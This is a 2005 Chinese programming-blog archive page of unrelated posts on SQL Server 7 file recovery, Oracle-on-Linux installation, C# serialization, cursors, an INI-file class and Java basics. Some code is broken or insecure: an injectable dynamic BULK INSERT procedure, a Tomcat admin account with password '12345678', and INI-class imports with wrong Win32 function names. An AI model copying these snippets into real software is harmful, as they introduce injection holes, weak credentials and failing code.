August 2005 Archives

拷贝的SQL Server 7的恢复方法

  在SQL Server 7中由于MS重新设计了数据库文件的存储方式,取消了新建设备再建数据库这一繁琐的过程。新的存储格式,一个数据库包括两个文件,mdf数据库文件和ldf日志文件。所以我们在重装机器备份时可以


把你要备份的数据库的这两个文件拷贝出来,重新安装之后再恢复。

  在SQL Server中提供了这种恢复方式的存储过程。 

  1.sp_attach_db [@dbname =] dbname,[@filename1 =] filename_n

  给系统添加一个数据库,在dbname指定数据库名称,filename_n指定数据库的文件和日志文件。比如我有一个voogiya的库,停止SQL Server服务备份voogiya_data.mdf,voogiya_log.ldf,启动SQL server,删除掉这个库,然后再把这两上文件拷到sql server DATA目录中,在Query Analyzer中执行如下语句:

  EXEC sp_attach_db @dbname = Nvoogiya,
  @filename1 = Nd:\mssql7\data\voogiya_data.mdf,
  @filename2 = Nd:\mssql7\data\voogiya_log.ldf

  就会把这个库加入到SQL Server Group中.

  2.sp_attach_single_file_db [@dbname =] dbname,
  [@physname =] physical_name

  这个命令和上面的功能一样,在physical_name中只要写上据库的物理文件名就可以了,日志文件SQL server会重新建立。这个存储过程的运行要先执行下面的存储过程:

  sp_detach_db @dbname = dbname

  同样以上面的为例:

  EXEC sp_detach_db @dbname = voogiya
  EXEC sp_attach_single_file_db @dbname = voogiya,
  @physname = d:\mssql7\data\voogiya_data.mdf

  要注意执行以上存储过程的用户要在sysadmin中.

  以上方法在windows Nt 4.0,service pack5,sql server 7.0上运行通过。

  任何数据库系统都无法避免崩溃的状况,即使你使用了Clustered,双机热备……仍然无法完全根除系统中的单点故障,何况对于大部分用户来说,无法承受这样昂贵的硬件投资。所以,在系统崩溃的时候,如何恢复原有的宝贵数据就成为一个极其重要的问题了。

  在恢复的时候,最理想的情况就是你的数据文件和日志文件都完好无损了,这样只需要sp_attach_db,把数据文件附加到新的数据库上即可,或者在停机的时候把所有数据文件(一定要有master等)都copy到原有路径下也行,不过一般不推荐这样的做法,sp_attach_db比较好,虽然麻烦许多。

  但是呢,一般数据库崩溃的时候系统是未必能有时间把未完成的事务和脏页等写入磁盘的,这样的情况sp_attach_db就会失败。那么,寄期望于DBA制定了一个良好的灾难恢复计划吧。按照你的恢复计划,还原最新的完全备份,增量备份或者事务日志备份,然后如果你的活动事务日志还能读得出来的话,恭喜你!你可以还原到崩溃前的状态。

   一般的单位都是没有专职的DBA的,如果没有可用的备份,更可能是最近一次备份的时间过于久远而导致不可接受的数据损失,而且你的活动事务日志也处于不可用的状态,那就是最麻烦的情况了。

  不幸的很的是,一般数据库崩溃都是由于存储子系统引起的,而这样的情况是几乎不可能有可用的日志用于恢复的。

  那么就只好试一下这些方案了。当然,是要求至少你的数据文件是存在的,要是数据文件、日志文件和备份都没有了的话,别找我,你可以到楼顶上去唱“神啊,救救我吧”。

  首先,你可以试一下sp_attach_single_file_db,试着恢复一下你的数据文件,虽然能恢复的可能性不大,不过假如这个数据库刚好执行了一个checkpoint的话,还是有可能成功的。

  如果你没有好到有摸彩票的手气,最重要的数据库没有像你期盼的那样attach上去,不要气馁,还是有别的方案的。

  我们可以试着重新建立一个log,先把数据库设置为emergency mode,sysdatabases的status为32768 就表示数据库处于此状态。


  不过系统表是不能随便改的,设置一下先
  Use Master
  Go
  sp_configure 'allow updates', 1
  reconfigure with override
  Go
  然后
  update sysdatabases set status = 32768 where name = ''

  现在,祈求满天神佛的保佑吧,重新建立一个log文件。成功的机会还是相当大的,系统一般都会认可你新建立的日志。如果没有报告什么错误,现在就可以松一口气了。

  虽然数据是恢复了,可是别以为事情就算完成了,正在进行的事务肯定是丢失了,原来的数据也可能受到一些损坏。

  先把SQL Server 重新启动一下,然后检查你的数据库吧。
  先设置成单用户模式,然后做dbcc
  sp_dboption '', 'single user', 'true'
  DBCC CHECKDB('')

  如果没有什么大问题就可以把数据库状态改回去了,记得别忘了把系统表的修改选项关掉。
update sysdatabases set status = 28 where name = '' --当然你的数据库状态可能不是这个,自己改为合适的值吧。也可以用sp_resetstatus
  go
  sp_configure 'allow updates', 0
  reconfigure with override
  Go

  checkdb的时候可能报告有一些错误,这些错误的数据你可能就只好丢弃了。

  checkdb有几种修复选项,自己看着用吧,不过最后你可能还是得REPAIR_ALLOW_DATA_LOSS,完成所有修复。

  chekcdb并不能完成所有的修复,我们需要更进一步的修复,用DBCC CHECKTABLE对每一个表做检查吧。

  表的列表可以用sysobjects里面得到,把OBJECTPROPERTY是IsTable的全部找出来检查一下吧,这样能够基本上解决问题了,如果还报告错误,试着把数据select into到另一张表检查一下。

  这些都做完了之后,把所有索引、视图、存储过程、触发器等重新建立一下。DBCC DBREINDEX也许可以帮你一些忙。

  上面提到的命令、对象在Books Online中均有详细说明,请注意参看。

1 部分:安装 Linux







本指南安装至少具有以下硬件配置的服务器:








  • 两个 800MHz Pentium III CPU


  • 512MB RAM


  • 两个 SCSI 主机适配器 (Ultra SCSI 160)


  • 八个 SCSI 磁盘驱动器 (2 x 9GB + 6 x 36GB)


  • 一个 100Base-T 以太网适配器


  • 一个 1000Base-T 以太网适配器


对磁盘进行配置,使每个 SCSI 主机适配器连接到一个 9GB 磁盘和三个 36GB 磁盘。







请注意,尽管这根本算不上是一个强大的设置,但即便是使用再低的设置也可以完成本指南介绍的大部分任务。基本数据库安装只需要一个 CPU512MB 内存和一个可用空间至少为 6.5GB 的磁盘驱动器(IDESCSI FireWire)。







现在,我们将逐步演示在服务器上安装 Linux 操作系统的过程。本文假设进行 Linux 系统全新安装(有别于升级),并假设服务器为 Oracle 所专用,且服务器上没有其他操作系统或数据。







Red Hat Enterprise Linux 4







Oracle 10g 经认证可以在不需要更新的情况下运行 Red Hat Enterprise Linux 4Advanced Server Enterprise Server)的基本版本。如果拥有更新 CD,则可以使用更新版本中的启动 CD 而非基本版本中的启动 CD 在安装过程中自动应用所有更新。Oracle 支持 Red Hat 的所有更新。







1.       使用第一张 CD 启动服务器。







o        您可能需要更改 BIOS 设置,以允许从 CD 启动。







2.       启动屏幕上出现时在底部显示 boot:







o        选择 Enter,从控制台上执行图形安装。(对于其他安装方法和选项,请参阅 Red Hat 安装指南。)







o        安装程序扫描硬件,短暂显示 Red Hat 闪屏,然后开始显示一系列屏幕提示。







3.       选择语言







o        接受默认值。







4.       配置键盘







o        接受默认值。







5.       欢迎屏幕







o        单击 Next







6.       配置鼠标







o        接受默认值。







7.       安装类型







o        选择 Custom







8.       设置磁盘分区







o        本文不介绍磁盘分区的详细方法,而是假设您熟悉磁盘分区方法。







(警告:对磁盘进行错误分区是删除硬盘上所有内容的最可靠、最快捷的方法之一。如果不确定如何分区,请先停下来,找人帮帮您,否则您将冒丢失数据的危险!)







本文使用以下分区方案(文件系统均为 ext3):

第一个控制器 (/dev/sda) 上的 9GB 磁盘包含以下分区,用于存放所有 Linux Oracle 软件:
- 100MB /boot
分区
-1,500MB
交换分区将此分区大小至少设置为系统 RAM 的两倍,但不要超过 2GB32 位系统不支持大于 2GB 的交换文件)。如果需要大于 2GB 的交换空间,则创建多个交换分区。
-7,150MB
根分区该分区将用于所有目录,包括 /usr/tmp/var/opt/home 等。这样做纯粹是为了讲解本指南而简化安装。更可靠的分区方案是将这些目录划分到单独的文件系统。

 

要序列化的对象的类:


[Serializable]
public class Person
{
private string name;
public string Name
{
get
{
return name;
}
set
{
name=value;
}
}
public string Sex;
public int Age=31;
public Course[] Courses;

public Person()
{
}
public Person(string Name)
{
name=Name;
Sex="男";
}
}
[Serializable]
public class Course
{
public string Name;
[XmlIgnore]public string Description;
public Course()
{
}
public Course(string name,string description)
{
Name=name;
Description=description;
}


进行序列化及反序列化的测试类:


class Test
{
//序列化
public void Serialiaze()
{
Person c=new Person("cyj")
c.Courses=new Course[2];
c.Courses[0]=new Course("英语","交流工具")
c.Courses[1]=new Course("数学","自然科学")

XmlSerializer xs=new XmlSerializer(typeof(Person));
Stream stream = new FileStream("c:\\cyj.xml", FileMode.Create, FileAccess.Write, FileShare.ReadWrite);
xs.Serialize(stream, c);
stream.Close();
}
//反序列化
public void Deserialize()
{
XmlSerializer xs=new XmlSerializer(typeof(Person));
Stream stream = new FileStream("c:\\cyj.xml", FileMode.Open, FileAccess.Read, FileShare.ReadWrite);
Person p=(Person)xs.Deserialize(stream);
Console.WriteLine(p.Name);
Console.WriteLine(p.Age.ToString());
Console.WriteLine(p.Courses.Length.ToString());
Console.Read();
}
}


格式化后Xml的文档内容为:
<?xml version="1.0"?>
<Person xmlns:xsd=http://www.w3.org/2001/XMLSchema    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
 <Sex>男</Sex>
  <Age>31</Age>
  <Courses>
    <Course>
      <Name>英语</Name>
    </Course>
    <Course>
      <Name>数学</Name>
    </Course>
  </Courses>
  <Name>cyj</Name>
</Person>



本文从两个方面讲述.NET中自定义光标的实现,部分是参考“孟子”前辈的资料,以示说明。 


    首先要明白一个知识点:光标的分类
    光标分为两大类,一是静态光标(*.cur),一是动态光标(*.ani)。这两类光标又有彩色和单像素之分。一般常见的静态光标多数是单像素的,.NET中可以直接支持这种光标。而对于彩色或动态光标则是有256色甚至更高像素组成的动画光标,在.NET中若要支持动态光标或彩色光标需要调用Win32 API实现。

    1:在.NET中利用资源文件实现自定义静态光标(以下为MSDN原文)


            // The following generates a cursor from an embedded resource.
            
     // To add a custom cursor, create or use an existing 16x16 bitmap
     //        1. Add a new cursor file to your project: 
     //                File->Add New Item->Local Project Items->Cursor File
     //        2. Select 16x16 image type:
     //                Image->Current Icon Image Types->16x16


     // --- To make the custom cursor an embedded resource  ---
            
     // In Visual Studio:
     //        1. Select the cursor file in the Solution Explorer
     //        2. Choose View->Properties.
     //        3. In the properties window switch "Build Action" to "Embedded"


     // On the command line:
     //        Add the following flag:
     //            /res:CursorFileName.Cur,Namespace.CursorFileName.Cur
     //        
     //        Where "Namespace" is the namespace in which you want to use the cursor
     //        and   "CursorFileName.Cur" is the cursor filename.


     // The following line uses the namespace from the passed-in type
     // and looks for CustomCursor.MyCursor.Cur in the assemblies manifest.
     // NOTE: The cursor name is acase sensitive.
     this.Cursor = new Cursor(GetType(), "MyCursor.Cur");


    此处需要注意的是在调用的时候,MyCursor.Cur为资源文件的名称,大小写区分。如下图所示:
  
    则资源文件名称应该为Cursor.block.cur,以命名空间的形式来访问资源。


    2:.NET中实现自定义彩色光标和动态光标
    以下为引用win32 api函数,用于创建自定义光标、设置光标等操作。


   [DllImport("user32.dll")]
   public static extern IntPtr LoadCursorFromFile( string fileName );
  
   [DllImport("user32.dll")]
   public static extern IntPtr SetCursor( IntPtr cursorHandle );
  
   [DllImport("user32.dll")]
   public static extern uint DestroyCursor( IntPtr cursorHandle );


    调用自定义光标则可以如下操作:
    Cursor myCursor = new Cursor(Cursor.Current.Handle);
  //dinosau2.ani为windows自带的光标:
  IntPtr colorCursorHandle = LoadCursorFromFil(@"C:\WINNT\Cursors\dinosau2.ani" );
  myCursor.GetType().InvokeMember("handle",BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.SetField,null,myCursor, new object [] { colorCursorHandle } );
  this.Cursor = myCursor;


    以上方式就是设定自定义光标的实现。当然不管是静态光标还是动态光标都需要自己设计之后方可引用。



 


C# WinForm编程中的一点小收获

 

一:Win Form登录机制的实现
    Main窗体为应用程式主窗体,Login为登录窗体。均为SDI窗体。
    两种实现方式如下:
        1、应用程式入口放在Login窗体,在Login窗体实现登录机制,验证通过则创建Main窗体的实例,并将自身隐藏。
        具体实现:
        ///Step1:验证登录
        ///Step2:通过
            this.hide(); 
            oMain.Show();
        虽然可以实现登录机制,但是Login窗体并没有释放掉,而是被隐藏掉,内存资源未有效利用。这种方式其实是不可取的。
        2、应用程式入口放在Main窗体,在Main函数中创建Login窗体的实例,Login窗体完成登录验证,返回Main窗体,程式继续执行。需要注意的是Login窗体只有验证通过时返回值才为DialogResult.OK,其余时返回DialogResult.None。这样在Main窗体就可以根据返回值判断是否创建Main窗体的实例。
        /// <summary>
        /// 应用程序的主入口点。
        /// </summary>

        [STAThread]
        static void Main()
        {
            frmLogin login = new frmLogin();
            login.ShowDialog();
            if(login.DialogResult.Equals(DialogResult.OK))
            {
                login.Close();
                Application.Run(new frmMain());
            }
        }  
二:利用ImageList作为Resource的载体
    Win Form的程式,外部文件是比较烦人的事情,这里采用Resource将外部图片文件加载到程式中。而ImageList是一个不错的选择,使用简单。
    具体实现:
        ///Step1:将图片在可是模式下加载到ImageList中。
        ///Step2:程式中可以采用this.imgLstResource.Images[index]的方式获取其中的Image对象。



.NET下INI配置文件操作类

 

using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Collections;
using System.Runtime.InteropServices;
using System.Text;


namespace INIManage
{
 /// <summary>
 /// INIManage 的摘要说明
 /// 在http://www.allapi.net/ 上发现了一个VB.NET的INI文件操作类,下载了看了看,顺手改成了C#版的
 /// 你可以把它编译成dll在winform或webform中引用,也可以直接把代码拷到项目中使用
 /// 我没有进行逐项测试,所以可能有不对的地方,请酌情修改
 /// --------------丛兴滋(cncxz) 2005-08-23
 /// </summary>
 public class INIManage
 {


  #region" 引入相关dll "


  [DllImport("KERNEL32.DLL", EntryPoint="GetPrivateProfileIntA", CallingConvention=CallingConvention.StdCall, CharSet=CharSet.Ansi, ExactSpelling=true)]
  private static extern int GetPrivateProfileInt(string lpApplicationName, string lpKeyName, int nDefault, string lpFileName);


  [DllImport("KERNEL32.DLL", EntryPoint="GetPrivateProfileSectionsNamesA", CallingConvention=CallingConvention.StdCall, CharSet=CharSet.Ansi, ExactSpelling=true)]
  private static extern int GetPrivateProfileSectionsNames(byte[] lpszReturnBuffer, int nSize, string lpFileName);


  [DllImport("KERNEL32.DLL", EntryPoint="GetPrivateProfileStringA", CallingConvention=CallingConvention.StdCall, CharSet=CharSet.Ansi, ExactSpelling=true)]
  private static extern int GetPrivateProfileString(string lpApplicationName, string lpKeyName, string lpDefault, StringBuilder lpReturnedString, int nSize, string lpFileName);


  [DllImport("KERNEL32.DLL", EntryPoint="GetPrivateProfileStructA", CallingConvention=CallingConvention.StdCall, CharSet=CharSet.Ansi, ExactSpelling=true)]
  private static extern int GetPrivateProfileStruct(string lpszSections, string lpszKey, byte[] lpStruct, int uSizeStruct, string szFile);
 
  [DllImport("KERNEL32.DLL", EntryPoint="WritePrivateProfileSectionsA", CallingConvention=CallingConvention.StdCall, CharSet=CharSet.Ansi, ExactSpelling=true)]
  private static extern int WritePrivateProfileSections(string lpAppName, string lpString, string lpFileName);


  [DllImport("KERNEL32.DLL", EntryPoint="WritePrivateProfileStringA", CallingConvention=CallingConvention.StdCall, CharSet=CharSet.Ansi, ExactSpelling=true)]
  private static extern int WritePrivateProfileString(string lpApplicationName, string lpKeyName, string lpString, string lpFileName);


  [DllImport("KERNEL32.DLL", EntryPoint="WritePrivateProfileStructA", CallingConvention=CallingConvention.StdCall, CharSet=CharSet.Ansi, ExactSpelling=true)]
  private static extern int WritePrivateProfileStruct(string lpszSections, string lpszKey, byte[] lpStruct, int uSizeStruct, string szFile);



  #endregion



  private string _Filename;    //INI文件名
  private string _Sections;     //INI文件中配置参数的组别片段
  private const int MAX_ENTRY = 32768; //最大字符数



  public INIManage(string strFile)
  {
   this.Filename = strFile;
  }


  #region" INI操作类的属性 "


  public string Filename
  {
   get
   {
    return this._Filename;
   }
   set
   {
    this._Filename = value;
   }
  }



  public string Sections
  {
   get
   {
    return this._Sections;
   }
   set
   {
    this._Sections = value;
   }
  }



  #endregion



  #region" INI操作类的Read相关方法 "
 
  // Read相关方法中的 DefaultValue是 在INI文件中找不到相关配置 时的返回值
  //ReadBoolean是读取bool类型的配置参数,ReadByteArray是读取 byte[]类型的配置参数
  //ReadInteger是读取int类型的配置参数。。。。依次类推


  public bool ReadBoolean(string Key)
  {
   return this.ReadBoolean(this.Sections, Key);
  }


  public bool ReadBoolean(string Key, bool DefaultValue)
  {
   return this.ReadBoolean(this.Sections, Key, DefaultValue);
  }


  public bool ReadBoolean(string Sections, string Key)
  {
   return this.ReadBoolean(Sections, Key, false);
  }


  public bool ReadBoolean(string Sections, string Key, bool DefaultValue)
  {
   return bool.Parse(this.ReadString(Sections, Key, DefaultValue.ToString()));
  }


  public byte[] ReadByteArray(string Key, int Length)
  {
   return this.ReadByteArray(this.Sections, Key, Length);
  }


  public byte[] ReadByteArray(string Sections, string Key, int Length)
  {
   byte[] buffer1;
   if (Length > 0)
   {
    try
    {
     byte[] buffer2 = new byte[(Length - 1) + 1];
     if (INIManage.GetPrivateProfileStruct(Sections, Key, buffer2, buffer2.Length, this.Filename) == 0)
     {
      return null;
     }
     return buffer2;
    }
    catch (Exception exception1)
    {
     ProjectData.SetProjectError(exception1);
     buffer1 = null;
     ProjectData.ClearProjectError();
     return buffer1;               
    }
   }
   else
   {
    return null;
   }
       
  }



  public int ReadInteger(string Key)
  {
   return this.ReadInteger(Key, 0);
  }


  public int ReadInteger(string Key, int DefaultValue)
  {
   return this.ReadInteger(this.Sections, Key, DefaultValue);
  }


  public int ReadInteger(string Sections, string Key)
  {
   return this.ReadInteger(Sections, Key, 0);
  }


  public int ReadInteger(string Sections, string Key, int DefaultValue)
  {
   int num1;
   try
   {
    num1 = INIManage.GetPrivateProfileInt(Sections, Key, DefaultValue, this.Filename);
   }
   catch (Exception exception1)
   {
    ProjectData.SetProjectError(exception1);
    num1 = DefaultValue;
    ProjectData.ClearProjectError();
    return num1;           
   }
   return num1;
  }


  public long ReadLong(string Key)
  {
   return this.ReadLong(Key, (long) 0);
  }


  public long ReadLong(string Key, long DefaultValue)
  {
   return this.ReadLong(this.Sections, Key, DefaultValue);
  }


  public long ReadLong(string Sections, string Key)
  {
   return this.ReadLong(Sections, Key, 0);
  }


  public long ReadLong(string Sections, string Key, long DefaultValue)
  {
   return long.Parse(this.ReadString(Sections, Key, DefaultValue.ToString()));
  }


  public string ReadString(string Key)
  {
   return this.ReadString(this.Sections, Key);
  }


  public string ReadString(string Sections, string Key)
  {
   return this.ReadString(Sections, Key, "");
  }


  public string ReadString(string Sections, string Key, string DefaultValue)
  {
   string text1;
   try
   {
    StringBuilder builder1 = new StringBuilder(MAX_ENTRY);
    int num1 = INIManage.GetPrivateProfileString(Sections, Key, DefaultValue, builder1, MAX_ENTRY, this.Filename);
    text1 = builder1.ToString();
   }
   catch (Exception exception1)
   {
    ProjectData.SetProjectError(exception1);
    text1 = DefaultValue;
    ProjectData.ClearProjectError();
    return text1;
         
   }
   return text1;
  }


  #endregion



  #region" INI操作类的Write相关方法 "
 
  public bool Write(string Key, bool Value)
  {
   return this.Write(this.Sections, Key, Value);
  }


  public bool Write(string Key, byte[] Value)
  {
   return this.Write(this.Sections, Key, Value);
  }


  public bool Write(string Key, string Value)
  {
   return this.Write(this.Sections, Key, Value);
  }


  public bool Write(string Key, int Value)
  {
   return this.Write(this.Sections, Key, Value);
  }


  public bool Write(string Key, long Value)
  {
   return this.Write(this.Sections, Key, Value);
  }


  public bool Write(string Sections, string Key, byte[] Value)
  {
   bool flag1;
   try
   {
    flag1 = INIManage.WritePrivateProfileStruct(Sections, Key, Value, Value.Length, this.Filename) != 0;
   }
   catch (Exception exception1)
   {
    ProjectData.SetProjectError(exception1);
    flag1 = false;
    ProjectData.ClearProjectError();
    return flag1;          
   }
   return flag1;
  }


  public bool Write(string Sections, string Key, bool Value)
  {
   return this.Write(Sections, Key, Value.ToString());
  }


  public bool Write(string Sections, string Key, int Value)
  {
   bool flag1;
   try
   {
    flag1 = INIManage.WritePrivateProfileString(Sections, Key, Value.ToString(), this.Filename) != 0;
   }
   catch (Exception exception1)
   {
    ProjectData.SetProjectError(exception1);
    flag1 = false;
    ProjectData.ClearProjectError();
    return flag1;          
   }
   return flag1;
  }


  public bool Write(string Sections, string Key, long Value)
  {
   return this.Write(Sections, Key, Value.ToString());
  }


  public bool Write(string Sections, string Key, string Value)
  {
   bool flag1;
   try
   {
    flag1 = INIManage.WritePrivateProfileString(Sections, Key, Value, this.Filename) != 0;
   }
   catch (Exception exception1)
   {
    ProjectData.SetProjectError(exception1);
    flag1 = false;
    ProjectData.ClearProjectError();
    return flag1;          
   }
   return flag1;
  }


  #endregion



  #region" INI操作类的Delete相关方法 "


  public bool DeleteKey(string Key)
  {
   bool flag1;
   try
   {
    flag1 = INIManage.WritePrivateProfileString(this.Sections, Key, null, this.Filename) != 0;
   }
   catch (Exception exception1)
   {
    ProjectData.SetProjectError(exception1);
    flag1 = false;
    ProjectData.ClearProjectError();
    return flag1;           
   }
   return flag1;
  }


  public bool DeleteKey(string Section, string Key)
  {
   bool flag1;
   try
   {
    flag1 = INIManage.WritePrivateProfileString(Sections, Key, null, this.Filename) != 0;
   }
   catch (Exception exception1)
   {
    ProjectData.SetProjectError(exception1);
    flag1 = false;
    ProjectData.ClearProjectError();
    return flag1;          
   }
   return flag1;
  }


  public bool DeleteSections(string Section)
  {
   bool flag1;
   try
   {
    flag1 = INIManage.WritePrivateProfileSections(Sections, null, this.Filename) != 0;
   }
   catch (Exception exception1)
   {
    ProjectData.SetProjectError(exception1);
    flag1 = false;
    ProjectData.ClearProjectError();
    return flag1;          
   }
   return flag1;
  }


  #endregion



  public ArrayList GetSectionsNames()
  {
   int num1;
   ArrayList list1 = new ArrayList();
   byte[] buffer1 = new byte[MAX_ENTRY];
   int num2 = 0;
   try
   {
    num1 = INIManage.GetPrivateProfileSectionsNames(buffer1, MAX_ENTRY, this.Filename);
   }
   catch (Exception exception1)
   {
    ProjectData.SetProjectError(exception1);
    ProjectData.ClearProjectError();
    return list1;         
   }
   ASCIIEncoding encoding1 = new ASCIIEncoding();
   if (num1 > 0)
   {
    string text1 = encoding1.GetString(buffer1);
    num1 = 0;
    num2 = -1;
    while (true)
    {
     num1 = text1.IndexOf('\0', (int) (num2 + 1));
     if (((num1 - num2) == 1) || (num1 == -1))
     {
      return list1;
     }
     try
     {
      list1.Add(text1.Substring(num2 + 1, num1 - num2));
     }
     catch (Exception exception2)
     {
      ProjectData.SetProjectError(exception2);
      ProjectData.ClearProjectError();
     }
     num2 = num1;
    }
   }
   return list1;
  }



 }
}

真正的Java学习从入门到精通

| 3 Comments

一、 工具篇JDK (Java Development Kit)
JDK是整个Java的核心,包括了Java运行环境(Java Runtime Envirnment),一堆Java工具和Java基础的类库(rt.jar)。不论什么Java应用服务器实质都是内置了某个版本的JDK。因此掌握JDK是学好Java的第一步。最主流的JDK是Sun公司发布的JDK,除了Sun之外,还有很多公司和组织都开发了自己的JDK,例如IBM公司开发的JDK,BEA公司的Jrocket,还有GNU组织开发的JDK等等。其中IBM的JDK包含的JVM(Java Virtual Machine)运行效率要比Sun JDK包含的JVM高出许多。而专门运行在x86平台的Jrocket在服务端运行效率也要比Sun JDK好很多。但不管怎么说,我们还是需要先把Sun JDK掌握好。
1、 JDK的下载和安装

JDK又叫做J2SE(Java2 SDK Standard Edition),可以从Sun的Java网站上下载到,http://java.sun.com/j2se/downloads.html ,JDK当前最新的版本是J2SDK1.4.2,建议下载该版本的JDK,下载页面在这里:http://java.sun.com/j2se/1.4.2/download.html。下载好的JDK是一个可执行安装程序,默认安装完毕后会在C:\Program Files\Java\目录下安装一套JRE(供浏览器来使用),在C:\j2sdk1.4.2下安装一套JDK(也包括一套JRE)。然后我们需要在环境变量PATH的最前面增加java的路径C:\j2sdk1.4.2\bin。这样JDK就安装好了。

2、 JDK的命令工具

JDK的最重要命令行工具:


java: 启动JVM执行class
javac: Java编译器
jar: Java打包工具
javadoc: Java文档生成器
这些命令行必须要非常非常熟悉,对于每个参数都要很精通才行。对于这些命令的学习,JDK Documentation上有详细的文档。

二、 JDK Documentation

Documentation在JDK的下载页面也有下载连接,建议同时下载Documentation。Documentation是最最重要的编程手册,涵盖了整个Java所有方面的内容的描述。可以这样说,学习Java编程,大部分时间都是花在看这个Documentation上面的。我是随身携带的,写Java代码的时候,随时查看,须臾不离手。

三、 应用服务器(App Server)

App Server是运行Java企业组件的平台,构成了应用软件的主要运行环境。当前主流的App Server是BEA公司的Weblogic Server和IBM公司的Websphere以及免费的Jboss,选择其中一个进行学习就可以了,个人推荐Weblogic,因为它的体系结构更加干净,开发和部署更加方便,是Java企业软件开发人员首选的开发平台。下面简要介绍几种常用的App Server:

1、 Tomcat

Tomcat严格意义上并不是一个真正的App Server,它只是一个可以支持运行Serlvet/JSP的Web容器,不过Tomcat也扩展了一些App Server的功能,如JNDI,数据库连接池,用户事务处理等等。Tomcat被非常广泛的应用在中小规模的Java Web应用中,因此本文做一点下载、安装和配置Tomcat的介绍:

Tomcat是Apache组织下Jakarta项目下的一个子项目,它的主网站是:http://jakarta.apache.org/tomcat/ ,Tomcat最新版本是Tomcat4.1.27,软件下载的连接是:http://www.apache.org/dist/jakarta/tomcat-4/binaries/ 。

下载Tomcat既可以直接下载zip包,也可以下载exe安装包(个人建议zip更干净些),不管哪种情况,下载完毕安装好以后(zip直接解压缩就可以了)。需要设置两个环境变量:


JAVA_HOME=C:\j2sdk1.4.2
CATALINA_HOME=D:\tomcat4 (你的Tomcat安装目录)

这样就安装好了,启动Tomcat运行CATALINA_HOME\bin\startup.bat,关闭Tomcat运行shutdown.bat脚本。Tomcat启动以后,默认使用8080端口,因此可以用浏览器访问http://localhost:8080来测试Tomcat是否正常启动。

Tomcat提供了两个Web界面的管理工具,URL分别是:

http://localhost:8080/admin/index.jsp

http://localhost:8080/manager/html

在启用这两个管理工具之前,先需要手工配置一下管理员用户和口令。用一个文本工具打开CATALINA_HOME\conf\tomcat-users.xml这个文件,加入如下几行:
<role rolename="manager"/>
<role rolename="admin"/>
<user username="robbin" password="12345678" roles="admin,manager,tomcat"/>

这样用户“robbin”就具备了超级管理员权限。重新启动Tomcat以后,你就可以使用该用户来登陆如上的两个管理工具,通过Web方式进行Tomcat的配置和管理了。

2、 BEA Weblogic

Weblogic可以到BEA的网站上免费注册之后下载到最新的Weblogic8.1企业版,License可以免费使用1年时间,其实这已经完全足够了。Weblogic的下载连接:http://commerce.bea.com/index.jsp,.../edocs.bea.com/ 。

3、 IBM Webshpere

Websphere同样可以下载到免费的试用版本,到IBM的developerWorks网站可以看到Websphere试用产品的下载和相关的Websphere的资料,developerWorks中文网站的连接是:http://www-900.ibm.com/developerWorks/cn/wsdd/ ,Websphere的下载连接:http://www7b.software.ibm.com/wsdd/...WASsupport.html 。

4、 Jboss

Jboss是免费开源的App Server,可以免费的从Jboss网站下载:http://www.jboss.org/index.html,然...n.com/idea.html

1.


abstract class Name {


    private String name;


    public abstract boolean isStupidName(String name) {}


}


 


大侠们,这有何错误?


答案: 错。abstract method必须以分号结尾,且不带花括号。


 


2.


public class Something {


    void doSomething () {


        private String s = "";


        int l = s.length();


    }


}


 


有错吗?


答案: 错。局部变量前不能放置任何访问修饰符 (private,public,和protected)。final可以用来修饰局部变量 (final如同abstract和strictfp,都是非访问修饰符,strictfp只能修饰class和method而非variable)。


 


3.


abstract class Something {


    private abstract String doSomething ();


}


 


这好像没什么错吧?


答案: 错。abstract的methods不能以private修饰。abstract的methods就是让子类implement(实现)具体细节的,怎么可以用private把abstract method封锁起来呢? (同理,abstract method前不能加final)。


 


4.


public class Something {


    public int addOne(final int x) {


        return ++x;


    }


}


 


这个比较明显。


答案: 错。int x被修饰成final,意味着x不能在addOne method中被修改。


 


5.


public class Something {


    public static void main(String[] args) {


        Other o = new Other();


        new Something().addOne(o);


    }


   


    public void addOne(final Other o) {


        o.i++;


    }


}


 


class Other {


    public int i;


}


 


和上面的很相似,都是关于final的问题,这有错吗?


答案: 正确。在addOne method中,参数o被修饰成final。如果在addOne method里我们修改了o的reference (比如: o = new Other();),那么如同上例这题也是错的。但这里修改的是o的member vairable (成员变量),而o的reference并没有改变。


 

读取文本文件到数据库

| 1 Comment

--**************************************
-- Name: Read a text file into SQL SERVER
--
-- Description:Using BULK INSERT TO READ
--             A TEXT FILE into SQL SERVER and ELIMINATING
--             THE USE of another text editor.
-- By: Eli Leiba
--
-- Inputs:@filename sysname (filename includes path)
--
-- Returns:a recordset of the file lines in QUERY analyzer
--
-- Assumes:Usage :
   EXEC sp_readTextFile 'c:\autoexec.bat'
--
--This code is copyrighted and has limited warranties.
--Please see http://www.Planet-Source-Code.com/vb/scripts/ShowCode.asp?txtCodeId=359&lngWId=5
--for details.
--**************************************
--    


CREATE PROC sp_readTextFile @filename sysname
as
     BEGIN
     SET nocount ON
     CREATE TABLE #tempfile (line varchar(8000))
     EXEC ('bulk INSERT #tempfile FROM "' + @filename + '"')
     SELECT * FROM #tempfile
     DROP TABLE #tempfile
 END
 GO


//////////////////////////////////////////////////////////////////////////



/// 程序:屏幕取色



/// 功能:动态获取当前屏幕中光标所在位置的颜色



/// 作者:黎波



/// 网名:upto(阿球)



/// 邮箱:itfun@163.com



/// 日期:2004331



//////////////////////////////////////////////////////////////////////////



 

using System;

using System.Drawing;

using System.Collections;

using System.ComponentModel;

using System.Windows.Forms;

using System.Data;

using System.Drawing.Imaging;

using System.Runtime.InteropServices;

 

namespace LiBo.ColorPicker

{

    /// <summary>

    /// Form1 的摘要说明。

    /// </summary>

    public class Form1 : System.Windows.Forms.Form

    {

        // 桌面工作区的尺寸

        Size workingArea;

        // Form 的初始位置和在左下角,右下角的位置

        Point formLoc, ptLeftBottom, ptRightBottom;

 

        private System.Windows.Forms.Label lblColor;

        private System.Windows.Forms.TextBox txtArgb;

        private System.Windows.Forms.Timer tmr;

        private System.Windows.Forms.ToolTip tip;

        private System.ComponentModel.IContainer components;

 

        public Form1()

        {

            InitializeComponent();

 

            this.FormBorderStyle = FormBorderStyle.FixedToolWindow;

            this.StartPosition = FormStartPosition.CenterScreen;

 

            Rectangle rect  = SystemInformation.WorkingArea;

            workingArea     = new Size(rect.Width, rect.Height);

